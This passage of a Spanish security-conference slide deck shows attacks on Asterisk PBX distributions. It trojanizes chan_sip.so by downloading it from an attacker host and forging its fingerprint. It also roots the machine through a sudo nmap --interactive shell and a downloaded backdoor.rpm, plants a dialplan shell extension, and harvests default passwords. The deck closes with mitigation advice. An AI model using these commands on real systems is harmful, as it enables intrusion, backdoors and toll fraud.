  • 75. Compilamos en nuestra máquina el módulo y lo subimos al servidor deFreePBX:sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.soRecargamos el módulo ...sh-4.1$ asterisk -rx "module unload chan_sip.so"sh-4.1$ asterisk -rx "module load chan_sip.so"Unable to load module chan_sip.soCommand module load chan_sip.so failed.
  • 76. Compilamos en nuestra máquina el módulo y lo subimos al servidor deFreePBX:sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.soRecargamos el módulo ...sh-4.1$ asterisk -rx "module unload chan_sip.so"sh-4.1$ asterisk -rx "module load chan_sip.so"Unable to load module chan_sip.soCommand module load chan_sip.so failed.Asterisk no nos permite meter unmódulo de otra compilación!!
  • 77. Pero …
  • 78. Pero …Y si nos descargamos el chan_sip.so original a nuestra máquina ...sh-4.1$ cp /usr/lib/asterisk/modules/chan_sip.so /var/www/html/pepelux@debian$ wget http://192.168.2.20/chan_sip.soY lo comparamos con la copia usando el comando strings:pepelux@debian$ strings chan_sip_orig.so__gmon_start____cxa_finalize_Jv_RegisterClassesast_str_append…......._ast_calloc95089850e3c922fa176f9bd274fd8109 ← Huella del fichero original
  • 79. pepelux@debian$ strings chan_sip_cop.so__gmon_start____cxa_finalize_Jv_RegisterClassesast_str_append….......;*2$"47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificado
  • 80. pepelux@debian$ strings chan_sip_cop.so__gmon_start____cxa_finalize_Jv_RegisterClassesast_str_append….......;*2$"47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificadoCon un editor hexadecimal le ponemos al nuevo fichero la huella del original.
  • 81. Repetimos el proceso …sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
  • 82. Repetimos el proceso …sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.soRecargamos el módulo ...sh-4.1$ asterisk -rx "module unload chan_sip.so"sh-4.1$ asterisk -rx "module load chan_sip.so"
  • 83. Repetimos el proceso …sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.soRecargamos el módulo ...sh-4.1$ asterisk -rx "module unload chan_sip.so"sh-4.1$ asterisk -rx "module load chan_sip.so"Loaded module chan_sip.so
  • 84. Repetimos el proceso …sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.soRecargamos el módulo ...sh-4.1$ asterisk -rx "module unload chan_sip.so"sh-4.1$ asterisk -rx "module load chan_sip.so"Loaded module chan_sip.so Hemos troyanizado el Asterisk!!
  • 85. Repetimos el proceso …sh-4.1$ cd /var/lib/asterisk/moh/modules/sh-4.1$ rm chan_sip.sosh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.soRecargamos el módulo ...sh-4.1$ asterisk -rx "module unload chan_sip.so"sh-4.1$ asterisk -rx "module load chan_sip.so"Loaded module chan_sip.so Hemos troyanizado el Asterisk!!
  • 86. ¡¡ Veamos un caso práctico !! DEMO(con la última versión de FreePBX: 2.210.62 – del 24/01/2013)
  • 87. El problema es que con todo esto, habremos dejado muchos logs ...
  • 88. El problema es que con todo esto, habremos dejado muchos logs ...No pasa nada, los logs también son propiedad del usuario asterisk!sh-4.1$ ls -la /var/log/asterisk -la
  • 89. El problema es que con todo esto, habremos dejado muchos logs ...No pasa nada, los logs también son propiedad del usuario asterisk!sh-4.1$ ls -la /var/log/asterisk -la
  • 90. Además de todo esto, si la versión de FreePBX es <= 2.10.0 …sh-4.1$ cat /etc/sudoersasterisk ALL = NOPASSWD: /sbin/shutdownasterisk ALL = NOPASSWD: /usr/bin/nmapasterisk ALL = NOPASSWD: /usr/bin/yumasterisk ALL = NOPASSWD: /bin/touchasterisk ALL = NOPASSWD: /bin/chmodasterisk ALL = NOPASSWD: /bin/chownasterisk ALL = NOPASSWD: /sbin/serviceasterisk ALL = NOPASSWD: /sbin/initasterisk ALL = NOPASSWD: /usr/sbin/postmapasterisk ALL = NOPASSWD: /usr/sbin/postfixasterisk ALL = NOPASSWD: /usr/sbin/saslpasswd2uucp ALL = NOPASSWD: /bin/chmodasterisk ALL = NOPASSWD: /usr/sbin/hardware_detectorasterisk ALL = NOPASSWD: /sbin/chkconfig
  • 91. ¡ Podemos rootear la máquina !sh-4.1$ sudo nmap --interactiveStarting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )Welcome to Interactive Mode -- press h for helpnmap> !shiduid=0(root) gid=0(root) groups=0(root)
  • 92. Otros sistemasLa web es mucho más estricta y no podemos inyectar el script desde el CLI
  • 93. Otros sistemasLa web es mucho más estricta y no podemos inyectar el script desde el CLIPero trae un editor de ficheros que nos permite crear un nuevo fichero con la shell:Creamos a mano el plan de llamadas en extensions.conf (o desde el CLI):dialplan reloaddialplan add extension 999,1,answer, into from-internaldialplan add extension 999,2,system,/usr/bin/perl</etc/asterisk/shell.conf into from-internaldialplan add extension 999,3,hangup, into from-internal
  • 94. Otros sistemasDurante la instalación nos obliga a poner una contraseña al usuario root de mysql.
  • 95. Otros sistemasDurante la instalación nos obliga a poner una contraseña al usuario root de mysql.Pero:bash-3.2$ cat /etc/elastix.confmysqlrootpwd=asterisk01 ← Contraseña de root para mysqlcyrususerpwd=asterisk01 ← Contraseña de IMAPdamiadminpwd=web01 ← Contraseña del administrador de la web
  • 96. Otros sistemasUna vez dentro, lo mismo que antes.bash-3.2$ iduid=100(asterisk) gid=101(asterisk)La web es propiedad del usuario asterisk.Los ficheros de configuración de Asterisk son también propiedad del usuario asterisk,y el proceso para cambiar un módulo es el mismo.Una vez tenemos acceso al sistema, la configuración es prácticamente la misma queen una FreePBX.
  • 97. Otros sistemasEn versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” delfichero sudoers ...
  • 98. Otros sistemasEn versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” delfichero sudoers … pero olvidaron quitar los permisos para el comando yumbash-3.2$ cat /etc/sudoersasterisk ALL = NOPASSWD: /sbin/shutdownasterisk ALL = NOPASSWD: /usr/bin/yum...Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !bash-3.2$ wget http://x.x.x.x/backdoor.rpmbash-3.2$ sudo yum localinstall backdoor.rpm
  • 99. Otros sistemasLa web no trae interfaz de comandos (CLI)
  • 100. Otros sistemasLa web no trae interfaz de comandos (CLI)Pero trae un editor de ficheros que nos permite modificar ficheros de configuración:Creamos a mano el plan de llamadas en extensions.conf:[from-internal]exten => 999,1,answer()exten => 999,2,system(/usr/bin/perl</etc/asterisk/sip_custom.conf)exten => 999,3,hangup()
  • 101. Otros sistemasUna vez dentro, lo mismo que antes.bash-3.2$ iduid=100(asterisk) gid=101(asterisk)bash-3.2$ grep AMPDB /etc/amportal.confAMPDBNAME=asterisk ← BBDD de AsteriskAMPDBUSER=asteriskuser ← Usuario para mysqlAMPDBPASS=amp109 ← Contraseña para mysqlLa web y el Asterisk, también son propiedad del usuario asterisk, al igual que en lasotras distribuciones.
  • 102. Otros sistemasEn Trixbox siguen estando nmap y yum permitidos en el fichero sudoers ….bash-3.2$ cat /etc/sudoersasterisk ALL = NOPASSWD: /sbin/shutdownasterisk ALL = NOPASSWD: /usr/bin/nmapasterisk ALL = NOPASSWD: /usr/bin/yumasterisk ALL = NOPASSWD: /bin/chownasterisk ALL = NOPASSWD: /bin/chmod….......Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !
  • 103. Consecuencias¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ?No puede ser tan grave …
  • 104. Consecuencias¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ?No puede ser tan grave … ¿ o sí ?
  • 105. SolucionesSi no sabemos configurar un Asterisk de forma manual y necesitamos usar este tipode plataformas, debemos tomar unas mínimas medidas de seguridad:- Restringir el acceso a la web únicamente desde la red local.- Bloquear todos los accesos procedentes de Internet salvo SIP, si es necesario.- Proteger la web con usuario y contraseña mediante un htaccess.- Evitar el uso de redes inalámbricas que puedan poner en peligro nuestra red.- Configurar correctamente los servicios de Asterisk (configuraciones, contextos, ...).- Mantener el sistema siempre actualizado.
  • 106. Si queréis saber más sobre seguridad en entornos de VoIP ...
  • 107. ¡ Espero que os haya gustado ! Jose Luis Verdeguer (aka Pepelux) @pepeluxx pepeluxx@gmail.com verdeguer@zoonsuite.com http://blog.pepelux.org http://www.zoonsuite.es ¿ Preguntas ?

×